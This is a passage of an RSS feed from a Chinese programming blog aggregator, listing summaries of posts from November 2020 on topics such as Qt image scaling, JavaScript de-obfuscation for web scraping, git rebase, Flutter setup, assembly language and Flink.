&#39;Dashboard&#39;,&#xA;meta: { title: &#39;Dashboard&#39;, icon: &#39;dashboard&#39;, affix: true }</description>
    </item>
    <item>
      <title>Qt 绘制图片自适应窗口大小(QImage,QPixmap,QLabel)</title>
      <link>https://bchobby.github.io/posts/455bf031af29d0dfb213dcbeff75d75d/</link>
      <pubDate>Tue, 24 Nov 2020 22:35:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/455bf031af29d0dfb213dcbeff75d75d/</guid>
      <description>工作过程中需要用某个控件展示本地图片文件，但又不想图片比例发生变化，导致文件查看时有变形感。因为只是极小一部分内容就直接使用QLable控件来完成此功能。&#xA;下面简单介绍一下我个人使用Label展示图片常用方法，若有错误欢迎指正&#xA;填充整个控件 ui-&amp;gt;imgLable-&amp;gt;setPixmap(QPixmap(imgpath));//label 加载图片imgpath ui-&amp;gt;imgLable-&amp;gt;setScaledContents(true); //根据label大小缩放图片 效果：图片填充整个label，且可以随label变化而变化，缺点则会改变图片比例导致有些图片显示不正常 // 根据label宽度等比例缩放图片 ui-&amp;gt;imgLable-&amp;gt;setPixmap(pix.scaledToWidth(ui-&amp;gt;imgLable-&amp;gt;width())); // 根据label高度等比例缩放图片 ui-&amp;gt;imgLable-&amp;gt;setPixmap(pix.scaledToHeight(ui-&amp;gt;imgLable-&amp;gt;height())); 效果：图片根据指定高度或宽度进行等比例变换，缺点是当label控件为preferred将会导致窗口忽大忽小，友好度较差； 等比例填充 QPixmap pix(imgpath); int scalHeight = ui-&amp;gt;imgLable-&amp;gt;height(); int scalWidth = pix.scaledToHeight(scalHeight).width();//根据label高度计算得到控件目标宽度 if(ui-&amp;gt;imgLable-&amp;gt;width() &amp;lt; scalWidth) {//再次调整，确保图片能够在控件中完整显示 scalWidth = ui-&amp;gt;imgLable-&amp;gt;width(); scalHeight = pix.scaledToWidth(scalWidth).height(); } ui-&amp;gt;imgLable-&amp;gt;setPixmap(pix.scaled(scalWidth,scalHeight,Qt::KeepAspectRatio)); 效果：此时图片比例不发生变化，且不会出现忽大忽小的现象。缺点是当主窗口改变大小时label图片大小不随之变化，需要主动做刷新操作；&#xA;以上操作还有更简单办法： pix = pix.scaled(ui-&amp;gt;imgLable-&amp;gt;width(),ui-&amp;gt;imgLable-&amp;gt;height(),Qt::KeepAspectRatio); ui-&amp;gt;imgLable-&amp;gt;setPixmap(pix); 注意scale参数AspectRatioMode，此参数用于控制缩放时是否保留原有比例关系： enum AspectRatioMode { IgnoreAspectRatio, KeepAspectRatio, KeepAspectRatioByExpanding }; 查看Qt帮助文档： 计算显示窗大小 int size_w = FIX_WIDTH;//展示框宽 int size_h = FIX_HEIGHT;//展示框高 QPixmap pix(imagefile); int width = pix.width(); int height = pix.</description>
    </item>
    <item>
      <title>Python 爬虫进阶必备 | 关于某免费 IP 发布平台网页加密参数逻辑分析</title>
      <link>https://bchobby.github.io/posts/ca2ea8721e5f3fa1f7a43ac87704a603/</link>
      <pubDate>Tue, 24 Nov 2020 19:53:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca2ea8721e5f3fa1f7a43ac87704a603/</guid>
      <description> 今日网站 aHR0cHM6Ly93d3cuYmFpYmlhbmlwLmNvbS9ob21lL2ZyZWUuaHRtbA==&#xA;之前的一些简单的网站实例，要么改版要么网站都凉了，所以补充一个 eval 混淆的例子&#xA;抓包与定位 网站打开的显示是这样的，但是在ip地址这里做了简单的混淆&#xA;ip 这一栏在response这里显示的是一个函数名，明显是做了解密的操作&#xA;通过搜索函数名FFsheepishness&#xA;可以找到下面这个 js&#xA;在打开的 js 文件中可以看到下面这样的 js 代码&#xA;但是这里的ddip又找不到具体的逻辑，检索出来的结果ddip在下面第二段的eval中&#xA;所以就需要这里做个解密，并把解密好的代码复制出来，查看ddip的具体逻辑&#xA;通过console.log(xxx)打印的方式将打包后的代码解密出来&#xA;这里的xxx是网页index.js中eval包起来的代码&#xA;将两段eval混淆好的代码解出之后就可以看到ddip了&#xA;补全加密 接下来就是缺少补啥了，像我下面的截图里一样补全一下，直接运行代码看看代码缺少什么（这个文件里就只有上面亮两段eval解出来的 js 代码）&#xA;根据提示缺少的是$&#xA;我们回到网页的index.js中继续找&#xA;只找到下面这个匿名函数&#xA;那应该就是这个了，我们把这段代码全复制出来，粘贴到刚刚报错代码的上方&#xA;在运行提示jQuery没有定义&#xA;这个时候不要去搞什么jQuery，我们看下逻辑，这里的jQuery都没用到，是上面发请求才用到的，这里直接改成传参$再次运行&#xA;还是提示的$没有定义，这里是因为我们的传入的参数在这个js文件中没有定义，所以我们要定义下$&#xA;将$定义为{}再次运行就可以了&#xA;比对下网页的结果是一致的&#xA;好了，今天的文章到这里就结束了，我们下次再会~&#xA;Go 与 Python 混合开发的文章还在写，刚刚开始都是基础，大家可以自学&#xA;Love&amp;amp;Share [ 完 ] 对了，看完记得一键四连，这个对我真的很重要。 </description>
    </item>
    <item>
      <title>利普希茨连续（Lipschitz continuous）及其应用</title>
      <link>https://bchobby.github.io/posts/04ebfad7533fd875e6284ffaeb36b787/</link>
      <pubDate>Tue, 24 Nov 2020 14:28:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04ebfad7533fd875e6284ffaeb36b787/</guid>
      <description>参考链接：&#xA;https://www.zhihu.com/question/51809602&#xA;https://zhuanlan.zhihu.com/p/27554191&#xA;https://blog.csdn.net/FrankieHello/article/details/105739610&#xA;目录&#xA;通俗解释&#xA;定义&#xA;​​ 直观解释&#xA;通俗解释 以陆地为例。&#xA;岛屿：不连续&#xA;一般陆地：连续&#xA;丘陵：李普希兹连续&#xA;悬崖：非李普希兹连续&#xA;山包：可导&#xA;平原：线性&#xA;半岛：非凸&#xA;想了半天用什么来表达亚连续（semi-continuity），好像只能用瀑布了&#xA;稍微具体点的话，李普希兹连续就是说，一块地不仅没有河流什么的玩意儿阻隔，而且这块地上没有特别陡的坡。其中最陡的地方有多陡呢？这就是所谓的李普希兹常数。&#xA;悬崖的出现导致最陡的地方有“无穷陡”，所以不是李普希兹连续。&#xA;定义 Lipschitz连续，要求函数图像的曲线上任意两点连线的斜率一致有界，就是任意的斜率都小于同一个常数，这个常数就是Lipschitz常数。&#xA;从局部看：我们可以取两个充分接近的点，如果这个时候斜率的极限存在的话，这个斜率的极限就是这个点的导数。也就是说函数可导，又是Lipschitz连续，那么导数有界。反过来，如果可导函数，导数有界，可以推出函数Lipschitz连续。从整体看：Lipschitz连续要求函数在无限的区间上不能有超过线性的增长，所以这些和函数在无限区间上不是Lipschitz连续的。 其中常数L 称为f 在区间Q 上的Lipschitz常数。&#xA;除了Lipschitz continuous之外，Lipschitz continuous gradient 和 Lipschitz continuous Hessian也是常用到的概念，它们都是由Lipschitz continuous概念延伸出来的。值得一提的是，很多论文中，尤其是关于凸优化的问题，Lipschitz continuous gradient的应用更为常见。&#xA;直观解释 Lipschitz continuous： 函数被一次函数上下夹逼&#xA;Lipschitz continuous gradient ：函数被二次函数上下夹逼&#xA;Lipschitz continuous Hessian ：函数被三次函数上下夹逼&#xA;在我看来，Lipschitz continuous 用在函数值上是为了不让函数值变化的太快；用在导函数上，是为了不让导函数变化的太快；用在Hessian上，是为了让Hessian不变化的太快。但他们都导致了一个很有意思的结果：这个Lipschitz continuous不管用在什么上，都使的函数被多项式上下夹逼，一方面便于我们处理，另一方面至少我们能控制一下函数的包络信息。</description>
    </item>
    <item>
      <title>git2.29.2.2怎么安装_制作Win10安装U盘时install.wim大于4G怎么办？</title>
      <link>https://bchobby.github.io/posts/5168dbc3bcbcac1ff79b47e60c0d39c8/</link>
      <pubDate>Tue, 24 Nov 2020 13:59:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5168dbc3bcbcac1ff79b47e60c0d39c8/</guid>
      <description>MS酋长之前已经分享过“最简单的Win10系统安装U盘制作方法”，只需要把Win10 ISO镜像的所有文件和文件夹都复制到U盘根目录下即可。因为考虑到兼容性，所以建议U盘格式化为FAT32格式。但是这就带来一个问题，64位Win10系统的安装镜像文件install.wim通常是大于4G的，而FAT32文件系统是无法存储大于4G的文件的。这时候我们只需按照以下的方法分割install.wim镜像文件，把它分割为小于4G的两个文件即可，一样不影响正常安装系统。&#xA;把下载好的Win10 ISO镜像文件解压或者用虚拟光驱加载。假如install.wim文件的路径为G:sourcesinstall.wim ，你想把分割后的文件保存到 F:Win10-2004 目录下。&#xA;右键点击Win10开始按钮，或按 Win + X 组合键，在弹出的系统快捷菜单中选择“Windows PowerShell(管理员)”，打开“管理员：Windows PowerShell”窗口。输入并回车运行以下命令：&#xA;Dism /Split-Image /ImageFile:&#34;G:sourcesinstall.wim&#34; /SWMFile:F:Win10-2004 /FileSize:4000&#xA;DISM系统映像部署工具就会开始分割install.wim文件，把它分割为小于4G的swm文件保存到指定的 F:Win10-2004 目录下。&#xA;当提示操作成功完成，我们就可以在 F:Win10-2004 目录下看到已被分割成的install.swm和install2.swm两个文件了。如图：&#xA;现在你就可以把install.swm和install2.swm按照和原来的install.wim一样的路径放到FAT32格式的U盘里制作Win10系统安装U盘了。</description>
    </item>
    <item>
      <title>Servlet基础知识（自学笔记）</title>
      <link>https://bchobby.github.io/posts/8c22d9a4a8230746b38a963cdd158815/</link>
      <pubDate>Tue, 24 Nov 2020 12:49:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c22d9a4a8230746b38a963cdd158815/</guid>
      <description>使用工具：intellij idea2018版 需准备：&#xA;（1）安装intellij idea&#xA;（2）安装jdk&#xA;（3）安装Tomcat&#xA;（4）可以在创建工程之前配置好环境，也可以如下视频在创建过程中配置&#xA;1.servlet的简单介绍 servlet全称java Servlet，是用java编写的服务器端程序，其主要功能在于交互式地浏览和修改数据，生成动态web内容。是JavaWeb的三大组件之一（Filter和Listener）&#xA;作用：接受客户端发来的请求数据，处理数据，将处理结果通过响应发送给客户端&#xA;2.servlet的两种创建方式 （1）servlet3.0之前，通过web.xml部署描述文件，如下视频&#xA;第一个servlet.mp4&#xA;（2）servlet3.0之后，可以通过注解的方式创建，详细步骤基本同上，区别如下：&#xA;a. 在new时选择servlet，然后输入名字即可&#xA;b.不用web.xml文件部署，在开头部署，如下标识&#xA;剩下的操作和视频1中是基本一样的。&#xA;3.request与response package com.study.servlet; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.util.Enumeration; @WebServlet(name = &#34;RequestServlet&#34;,urlPatterns = &#34;/request&#34;) public class RequestServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { System.</description>
    </item>
    <item>
      <title>mac source ~/.bash_profile 无效</title>
      <link>https://bchobby.github.io/posts/54953fc032bfd3a8c85286e7d261eb3d/</link>
      <pubDate>Tue, 24 Nov 2020 12:46:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54953fc032bfd3a8c85286e7d261eb3d/</guid>
      <description> 需要同时配置&#xA;~/.zshrc ~/.bash_profile </description>
    </item>
    <item>
      <title>摄像头最多的ip段精品分享_米家的几款智能摄像头到底能同时供几个手机实时观看?...</title>
      <link>https://bchobby.github.io/posts/ef5bee5819c8273dd27ec743ad4519cf/</link>
      <pubDate>Tue, 24 Nov 2020 09:45:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef5bee5819c8273dd27ec743ad4519cf/</guid>
      <description> 今天测试了一下同时可以多少个设备查接入到米家app的摄像头&#xA;水哥智能家居：新房装修、老房智能改造都在这里--水哥智能家居精华帖索引 测试了以下型号摄像头：&#xA;1、小白智能摄像机大众版（99元）&#xA;高清画质，支持最多4个手机同时观看，不算很稳定，看的时间长了会断&#xA;平均速率100KB/s以下&#xA;2、大方1080P高清云台摄像机（149元）&#xA;高清画质，支持最多4个手机同时观看，稳定&#xA;3、小方智能摄像机（119元）&#xA;高清画质，支持最多4个手机同时观看，稳定&#xA;4、小米米家智能摄像机（119元）&#xA;高清画质，支持最多3个手机同时观看，稳定&#xA;目前看除了米家智能摄像机，其他3款都能支持到4个手机同时观看实时视频。&#xA;水哥费神码字作图，各位看官觉得本文对自己有用，还请举手点一下赞，不胜感激^_^ </description>
    </item>
    <item>
      <title>这么简单的三目运算符，竟然这么多坑?</title>
      <link>https://bchobby.github.io/posts/a7e159b20f109e1e303479dbda788f9c/</link>
      <pubDate>Tue, 24 Nov 2020 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7e159b20f109e1e303479dbda788f9c/</guid>
      <description>最近在一个业务改造中，使用三目运算符重构了业务代码，没想到测试的时候竟然发生 NPE 的问题。&#xA;重构代码非常简单，代码如下：&#xA;// 方法返回参数类型为 Integer // private Integer code; SimpleObj simpleObj = new SimpleObj(); // 其他业务逻辑 if (simpleObj == null) { return -1; } else { return simpleObj.getCode(); } 看到这段 if 判断感觉很是繁琐，于是使用三目运算符重构了一把，代码如下：&#xA;// 方法返回参数类型为 Integer SimpleObj simpleObj = new SimpleObj(); // 其他业务逻辑 return simpleObj == null ? -1 : simpleObj.getCode(); 测试的时候，第四行代码抛出了空指针，这里代码很简单，显然只有 simpleObj#getCode才有可能发生 NPE 问题。&#xA;但是我明明为 simpleObj做过判空判断，simpleObj 对象肯定不是 null，那么只有 simpleObj#getCode 返回为 null。但是我的代码并没有对这个方法返回值做任何操作，为何会触发 NPE？&#xA;难道是又是自动拆箱导致的 NPE 问题？&#xA;在解答这个问题之前，我们首先复习一下三目运算符。&#xA;三目运算符 三目运算符，官方英文名称:Conditional Operator ?</description>
    </item>
    <item>
      <title>联想m7400pro更换墨粉盒怎么清零_联想几种机型原装硒鼓加粉清零方法</title>
      <link>https://bchobby.github.io/posts/19e7377eb472fb30910c687183197bfb/</link>
      <pubDate>Tue, 24 Nov 2020 03:34:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19e7377eb472fb30910c687183197bfb/</guid>
      <description> 本教程适用于联想M7615、M7605、M7675、LJ2605、LJ2405、M7455、M7405&#xA;LJ2605D/LJ2655DN/M7655DHF/M7675DXF/M7455DNF等&#xA;工具/原料&#xA;十字螺丝刀 碳粉 废报纸 方法/步骤&#xA;加粉方法 2.粉盒加完墨粉后，有的用户直接安装入打印机，但打印机仍然提示“墨粉用尽”，这时是没有对粉盒进行清零（或叫粉盒复位），下面介绍怎样粉盒清零&#xA;3.上面介绍联想原装粉盒加粉和清零过程.&#xA;注意事项&#xA;要是还是显示墨粉不足 说明清零齿轮没有安装到位 拆下安装以上方法重新安装即可本教程也适用于部分兄弟的机型 </description>
    </item>
    <item>
      <title>Mac电脑flutter安装成功了但是仍然提示flutter command not found</title>
      <link>https://bchobby.github.io/posts/294b789d36ea74a41834e2a9066df951/</link>
      <pubDate>Mon, 23 Nov 2020 21:52:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/294b789d36ea74a41834e2a9066df951/</guid>
      <description>官方文档明确说明需要更新环境变量(明确来说就是需要配置全局的环境变量) 您在命令行只能更新当前会话的PATH变量，如Clone Flutter repo所示。 但是，您可能需要的是永久更新此变量，以便您可以运行flutter命令在任何终端会话中。&#xA;对于所有终端会话永久修改此变量的步骤是和特定计算机系统相关的。通常，您会在打开新窗口时将设置环境变量的命令添加到执行的文件中&#xA;打开命令行工具 输入 vim ./.bash_profile // 或者 sudo vi ~/.bash_profile 然后编辑该文件, 输入i即可进入编辑模式添加如下命令 // 这里是flutter安装的路径,每个人会有差异,找到自己正确的路径 export PATH=/Users/admin/Downloads/flutter/flutter/bin:$PATH 保存 .bash_profile 文件,按键盘上的ESC退出编辑模式,然后输入:wq保存并退出文件刷新 .bash_profile 文件 source $HOME/.bash_profile // 或者 source ~/.bash_profile 此时全局环境变量已经配置成功,可以在命令行输入flutter doctor 命令如果能正常运行,说明已经配置成功,若还是提示flutter command not found 则需要再进行配置(出现这个的原因:Mac电脑加载的是.zshrc文件,下面是解决方案)命令行输入 sudo vi ~/.zshrc 编辑 .zshrc文件, 输入i进入到编辑模式,在最后一行输入 source ~/.bash_profile 保存.zshrc 文件,按ESC退出编辑模式,输入:wq保存退出刷新.zshrc 文件 source ~/.zshrc 然后再在命令行中输入 flutter doctor ,这时候会看到相关信息</description>
    </item>
    <item>
      <title>Springboot上传文件的问题（上传到本地文件夹中）</title>
      <link>https://bchobby.github.io/posts/d1e2ba9f137d71e4db5087bb1f3a9a0a/</link>
      <pubDate>Mon, 23 Nov 2020 20:45:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1e2ba9f137d71e4db5087bb1f3a9a0a/</guid>
      <description>Springboot上传文件的问题（上传到本地文件夹中）&#xA;java代码：&#xA;先建立一个controller包：&#xA;如图所示：&#xA;FileUploadController.java代码如下所示：&#xA;package com.zcc.springboot_uploadfiles.controller; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.multipart.MultipartFile; import javax.servlet.http.HttpServletRequest; import java.io.File; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.UUID; @RestController public class FileUploadController { SimpleDateFormat sdf = new SimpleDateFormat(&#34;yyy/MM/dd/&#34;); @PostMapping(&#34;/upload&#34;) public String upload(MultipartFile uploadFile, HttpServletRequest req) { String realPath = req.getSession().getServletContext().getRealPath(&#34;/uploadFile/&#34;); String format = sdf.format(new Date()); String file = realPath + format; File folder = new File(realPath + format); if(!folder.isDirectory()) { folder.mkdirs(); } String oldName = uploadFile.</description>
    </item>
    <item>
      <title>事件冒泡（快速理解）</title>
      <link>https://bchobby.github.io/posts/9f134d6f95dd7b62a90dc7fb3897c807/</link>
      <pubDate>Mon, 23 Nov 2020 15:28:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f134d6f95dd7b62a90dc7fb3897c807/</guid>
      <description>先看个例子：&#xA;点击box2结果如下：&#xA;分析：&#xA;因为box2在box1里面，所以点击box2时，也同时点击了box1，这就是事件冒泡&#xA;事件冒泡 从最具体的元素到不具体的元素（由内到外）&#xA;当子元素（事件源）事件触发，事件会沿着包含关系，依次往上级传递，每一级都可以感知到事件，直到触发根元素（根源) 上面例子的结果显然不是我们想要的， 我们希望的是点谁就显示谁，这时我们可以通过终止事件冒泡来得到我们想要的结果。&#xA;终止事件冒泡 方法一：在相应的函数中加上event.stopPropagation()&#xA;这是阻止事件的冒泡方法，不让事件向documen上蔓延。&#xA;修改第一个例子：&#xA;点击box2结果如下：&#xA;方法二：判断event.target 和 event.currentTarget是否相等&#xA;event.target：指真正触发事件的元素&#xA;event.currentTarget：指绑定了事件监听的元素（触发事件元素的父级元素）&#xA;这时判断两者相等，则执行相应的处理函数；当事件冒泡到上一级时，event.currentTarget变成 了上一级元素，这时候判断二者不相等，则就不作响应处理逻辑。&#xA;修改第一个例子：&#xA;点击box2结果如下：&#xA;看上面代码，假如有几百个元素，就要判断几百次，会不会有点傻，哈哈哈~&#xA;因为每个元素都要添加事件监听处理函数，元素较多时容易代码冗余。所以我们是不是可以找一个父节点统一带领这些小兵嘞。&#xA;event.target可以准确地获取事件源(指的是真正触发事件的那个元素)，并且在使用的过程中可以比较判断&#xA;event.target属性：&#xA;event.target.nodeName //获取事件触发元素标签name&#xA;event.target.id　//获取事件触发元素id&#xA;event.target.className　//获取事件触发元素classname&#xA;event.target.innerHTML　//获取事件触发元素的内容&#xA;方法二修改如下：</description>
    </item>
    <item>
      <title>git clone 一部分_Git详解（二）</title>
      <link>https://bchobby.github.io/posts/f2f087af89cd4edff650ed7549b92a29/</link>
      <pubDate>Mon, 23 Nov 2020 08:08:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2f087af89cd4edff650ed7549b92a29/</guid>
      <description>“ 在上一篇文章中讲述了git的相关基础，这一篇就会带领大家具体的进行动手操作，让大家在工作中对git有一个更好的理解。”&#xA;提示：在使用git的时候，你需要对linux脚本命令有所了解，如果你很熟悉vim的话，那么恭喜你接下来的相关内容对你来说会非常简单，当然如果你不会的话，也没关系，照着下面的操作你也可以成功实现。 01&#xA;—&#xA;git rebase的使用&#xA;如何修改commit提交&#xA;(1)首先我在github远程仓库中创建了一个git的项目，这个时候它里面只有一个READEME.md文件，然后我在本地会使用ssh方式来克隆线上的git项目；&#xA;(2)在你指定的文件夹中，右键选择Git Bash Here打开相应的界面，然后使用clone指令克隆文件：&#xA;git clone git@github.com:daipi173/git.git ，克隆完成之后你就会在本地看到一个git文件夹，它里面有一个READEME.md文件，此时就证明你已经克隆成功了；&#xA;(3)接着我们将git文件夹用vscode编辑器打开，然后开始进行相关的开发操作；&#xA;(4)现在我在项目中新增加了两个文件，分别是index.html和second.html文件，这个时候我向本地仓库提交了两个版本，使用git log --oneline查看commit提交的历史，如下图所示：&#xA;(5)这个时候我又在second.html文件中添加了一部分内容，然后又commit提交了一个版本，但是这个时候我不小心将commit中的注释内容写错了，如下图所示：&#xA;解决办法：由于该提交是最后一次提交的，因此我们可以git commit --amend来修改最后一次提交的信息，需要注意的是：git commit --amend只能修改最后一次提交的信息。当我在vscode终端中敲入指令：git commit --amend之后会显示如下所示内容： 只要你会linux脚本语言就应该很熟悉怎么修改，当我们将光标移动到你修改的地方，然后点击键盘中的i就可以开始进行修改，当你修改完之后先按下键盘上的esc，然后再同时按下shift+:之后(如果没有效果的话，可以尝试先按下键盘上的esc，然后再连续按两次大写字母z)，然后再在冒号后面输入wq即可，这个时候你再在vscode终端中输入指令git log --oneline然后会看到修改之后的commit，如下图所示： (6)接着你是不是会想到git commit --amend只能修改最后一次提交的信息，那么如果想修改指定的历史提交应该如何做呢？很简单，这个时候我们应该使用git rebase -i来进行一个解决(在这里i表示interactive互动)。接下来我举一个例子：&#xA;假设我将第三次提交的commit进行修改，这个时候我将second.html改为second01.html，然后不想再提交一个注释，而是想将第三次提交的commit中的second.html修改为second01.html，然后具体的步骤如下所示：&#xA;a. git add .将修改全部内容放入暂存区中；&#xA;b. git commit -m &#34;xxx...&#34;；&#xA;c. git log --oneline看看我们的commit提交历史，然后找到你要修改的内容，在这里我举的例子如下图所示：&#xA;d. 这个时候当我找到要修改第三个commit的内容，然后执行指令：git rebase -i HEAD~3(这里的意思是：从HEAD版本开始往过去数3个版本，3可以换位你要修改内容的位置数)；e. 在进入到vim之后，我们找到要修改的commit提交内容之后，然后将它的pick修改为edit，然后保存退出(先按下键盘上的esc，然后再同时按下shift+:之后(如果没有效果的话，可以尝试先按下键盘上的esc，然后再连续按两次大写字母z)，然后再在冒号后面输入wq即可)，如下图所示：&#xA;f. 接着退出vim界面之后，可以按照退出之后git给你的提示进行下一步的操作，接着我们按照提示进行相应的指令：git commit –amend进入修改commit的vim页面，然后我们找到要修改内容之后点击键盘i进行相应的编辑，然后保存退出(保存退出布置和第5步一致)；g. 此时你会看见vscode显示的是变基，其原因是因为我们使用rebase的原因，接着要解决的话也是按照git给你的提示来进行：git rebase –continue；h. 这个时候我们再使用指令：git log –oneline就会发现我们指定commit提交的内容已经修改了。注意：如果你想终止rebase的话，可以使用指令：git rebase –abort&#xA;如何压缩合并commit提交 就拿上面举的例子来接着做测试，我们是不是会感觉因为修改了一个second01.</description>
    </item>
    <item>
      <title>c语言程序源代码_程序员需要了解的硬核知识之汇编语言(全)</title>
      <link>https://bchobby.github.io/posts/8ad08229bd5c7f4a8b6b6b9ed9f46c4e/</link>
      <pubDate>Mon, 23 Nov 2020 01:56:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ad08229bd5c7f4a8b6b6b9ed9f46c4e/</guid>
      <description>之前的系列文章从 CPU 和内存方面简单介绍了一下汇编语言，但是还没有系统的了解一下汇编语言，汇编语言作为第二代计算机语言，会用一些容易理解和记忆的字母，单词来代替一个特定的指令，作为高级编程语言的基础，有必要系统的了解一下汇编语言，那么本篇文章希望大家跟我一起来了解一下汇编语言。&#xA;汇编语言和本地代码&#xA;我们在之前的文章中探讨过，计算机 CPU 只能运行本地代码(机器语言)程序，用 C 语言等高级语言编写的代码，需要经过编译器编译后，转换为本地代码才能够被 CPU 解释执行。&#xA;但是本地代码的可读性非常差，所以需要使用一种能够直接读懂的语言来替换本地代码，那就是在各本地代码中，附带上表示其功能的英文缩写，比如在加法运算的本地代码加上add(addition) 的缩写、在比较运算符的本地代码中加上cmp(compare)的缩写等，这些通过缩写来表示具体本地代码指令的标志称为 助记符，使用助记符的语言称为汇编语言。这样，通过阅读汇编语言，也能够了解本地代码的含义了。&#xA;不过，即使是使用汇编语言编写的源代码，最终也必须要转换为本地代码才能够运行，负责做这项工作的程序称为编译器，转换的这个过程称为汇编。在将源代码转换为本地代码这个功能方面，汇编器和编译器是同样的。&#xA;用汇编语言编写的源代码和本地代码是一一对应的。因而，本地代码也可以反过来转换成汇编语言编写的代码。把本地代码转换为汇编代码的这一过程称为反汇编，执行反汇编的程序称为反汇编程序。&#xA;哪怕是 C 语言编写的源代码，编译后也会转换成特定 CPU 用的本地代码。而将其反汇编的话，就可以得到汇编语言的源代码，并对其内容进行调查。不过，本地代码变成 C 语言源代码的反编译，要比本地代码转换成汇编代码的反汇编要困难，这是因为，C 语言代码和本地代码不是一一对应的关系。&#xA;通过编译器输出汇编语言的源代码&#xA;我们上面提到本地代码可以经过反汇编转换成为汇编代码，但是只有这一种转换方式吗？显然不是，C 语言编写的源代码也能够通过编译器编译称为汇编代码，下面就来尝试一下。&#xA;首先需要先做一些准备，需要先下载 Borland C++ 5.5 编译器，为了方便，我这边直接下载好了读者直接从我的百度网盘提取即可 (链接:https://pan.baidu.com/s/19LqVICpn5GcV88thD2AnlA 密码:hz1u)&#xA;下载完毕，需要进行配置，下面是配置说明 (https://wenku.baidu.com/view/22e2f418650e52ea551898ad.html)，教程很完整跟着配置就可以，下面开始我们的编译过程&#xA;首先用 Windows 记事本等文本编辑器编写如下代码&#xA;// 返回两个参数值之和的函数int AddNum(int a,int b){ return a + b;}// 调用 AddNum 函数的函数void MyFunc(){ int c; c = AddNum(123,456);} 编写完成后将其文件名保存为 Sample4.c ，C 语言源文件的扩展名，通常用.c 来表示，上面程序是提供两个输入参数并返回它们之和。&#xA;在 Windows 操作系统下打开 命令提示符，切换到保存 Sample4.c 的文件夹下，然后在命令提示符中输入&#xA;bcc32 -c -S Sample4.</description>
    </item>
    <item>
      <title>Flink源码剖析：回撤流</title>
      <link>https://bchobby.github.io/posts/41473609d3c9f4b4a42b50d29897cb9a/</link>
      <pubDate>Mon, 23 Nov 2020 01:15:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41473609d3c9f4b4a42b50d29897cb9a/</guid>
      <description>文章目录 1. 定义2. 示例2.1 源码分析2.1.1 聚合算子回撤2.1.2 Sink算子回撤2.1.3 聚合算子回撤 VS Sink算子回撤 1. 定义 Flink中，Kafka Source是非回撤流，Group By是回撤流。所谓回撤流，就是可以更新历史数据的流，更新历史数据并不是将发往下游的历史数据进行更改，要知道，已经发往下游的消息是追不回来的。更新历史数据的含义是，在得知某个Key（接在Key BY / Group By后的字段）对应数据已经存在的情况下，如果该Key对应的数据再次到来，会生成一条delete消息和一条新的insert消息发往下游。&#xA;2. 示例 public class RetractDemo { public static void main(String[] args) throws Exception { // set up execution environment StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); env.setParallelism(1); // use blink planner in streaming mode EnvironmentSettings settings = EnvironmentSettings.newInstance() .inStreamingMode() .build(); StreamTableEnvironment tEnv = StreamTableEnvironment.create(env, settings); // 用fromElements模拟非回撤消息 DataStream&amp;lt;Tuple2&amp;lt;String, Integer&amp;gt;&amp;gt; dataStream = env.fromElements(new Tuple2&amp;lt;&amp;gt;(&#34;hello&#34;, 1), new Tuple2&amp;lt;&amp;gt;(&#34;</description>
    </item>
    <item>
      <title>Python数学实验与建模 课后习题第2章解析</title>
      <link>https://bchobby.github.io/posts/5f1acf83707950480dea077eb3f22de5/</link>
      <pubDate>Sun, 22 Nov 2020 23:09:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f1acf83707950480dea077eb3f22de5/</guid>
      <description>习题2 2.1 考虑下面的 3 × 4 3\times4 3×4矩阵 [ 1 2 3 4 5 6 7 8 9 10 11 12 ] \begin {bmatrix} 1 &amp;amp; 2 &amp;amp;3&amp;amp;4 \\ 5 &amp;amp; 6 &amp;amp;7&amp;amp;8\\ 9&amp;amp;10&amp;amp;11&amp;amp;12 \end{bmatrix} \quad ⎣⎡​159​2610​3711​4812​⎦⎤​&#xA;（1）使用array函数在Python中构建该矩阵&#xA;A = np.array(((1, 2, 3, 4), (5, 6, 7, 8), (9, 10, 11, 12))) （2）使用arange函数构造该矩阵&#xA;A = np.arange(1, 13).reshape(3, 4) （3）表达式A[2,:]的结果是什么？类似的表达式A[2:]的结果是什么？&#xA;[ 9 10 11 12] [[ 9 10 11 12]] 2.</description>
    </item>
    <item>
      <title>python中len的用法_Python len函数用法</title>
      <link>https://bchobby.github.io/posts/8e08b6baf248b6322d3e2fb6dd67b2bc/</link>
      <pubDate>Sun, 22 Nov 2020 20:47:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e08b6baf248b6322d3e2fb6dd67b2bc/</guid>
